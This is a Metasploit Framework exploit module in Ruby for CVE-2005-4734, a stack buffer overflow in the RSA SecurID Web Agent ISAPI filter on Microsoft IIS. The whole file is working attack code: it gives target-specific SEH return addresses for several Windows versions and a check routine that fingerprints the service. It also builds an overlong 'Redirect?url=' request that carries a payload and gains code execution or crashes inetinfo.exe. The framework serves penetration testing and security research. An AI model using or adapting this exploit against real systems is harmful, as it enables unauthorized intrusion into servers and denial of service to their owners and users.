##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh
  
  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Microsoft IIS ISAPI RSA WebAgent Redirect Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the SecurID Web
        Agent for IIS. This ISAPI filter runs in-process with
        inetinfo.exe, any attempt to exploit this flaw will result
        in the termination and potential restart of the IIS service.
          
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['CVE', '2005-4734'],
          ['OSVDB', '20151'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x23\x25\x26\x27\x2b\x2f\x3a\x3b\x3c" +
                        "\x3d\x3e\x3f\x40\x5c" + "Zz",
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        => 
        [
            # Version-specific return addresses
          ['RSA WebAgent 5.2', { 'Rets' => [ 996, 0x1001e694 ] }],
          ['RSA WebAgent 5.3', { 'Rets' => [ 992, 0x10010e89 ] }],

          # Generic return addresses
          ['RSA WebAgent 5.2 on Windows 2000 English', { 'Rets' => [ 996, 0x75022ac4 ] }],
          ['RSA WebAgent 5.3 on Windows 2000 English', { 'Rets' => [ 992, 0x75022ac4 ] }],

          ['RSA WebAgent 5.2 on Windows XP SP0-SP1 English', { 'Rets' => [ 996, 0x71ab1d54 ] }],
          ['RSA WebAgent 5.3 on Windows XP SP0-SP1 English', { 'Rets' => [ 992, 0x71ab1d54 ] }],

          ['RSA WebAgent 5.2 on Windows XP SP2 English', { 'Rets' => [ 996, 0x71ab9372 ] }],
          ['RSA WebAgent 5.3 on Windows XP SP2 English', { 'Rets' => [ 992, 0x71ab9372 ] }],

          ['RSA WebAgent 5.2 on Windows 2003 English SP0', { 'Rets' => [ 996, 0x7ffc0638 ] }],
          ['RSA WebAgent 5.3 on Windows 2003 English SP0', { 'Rets' => [ 992, 0x7ffc0638 ] }],
        ],
      'DefaultTarget' => 0))
      
      register_options(
        [
          OptString.new('URL', [ true,  "The path to IISWebAgentIF.dll", "/WebID/IISWebAgentIF.dll" ]),
        ], self.class)
  end
  
  def check
    r = send_request_raw({
      'uri'   => datastore['URL'],
      'query' => 'GetPic?image=msf'
    }, -1)
      
    if (r and r.body and r.body =~ /RSA Web Access Authentication/) 
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end
  
  def exploit

    pat = rand_text_alphanumeric(8192).gsub(/\d|Z/i, 'A') # HACK
    seh = generate_seh_payload(target['Rets'][1])
    pat[target['Rets'][0]-4, seh.length] = seh
    
    r = send_request_raw({
      'uri'   => datastore['URL'],
      'query' => 'Redirect?url=' + pat
    }, 5)
    
    handler
    disconnect
  end

end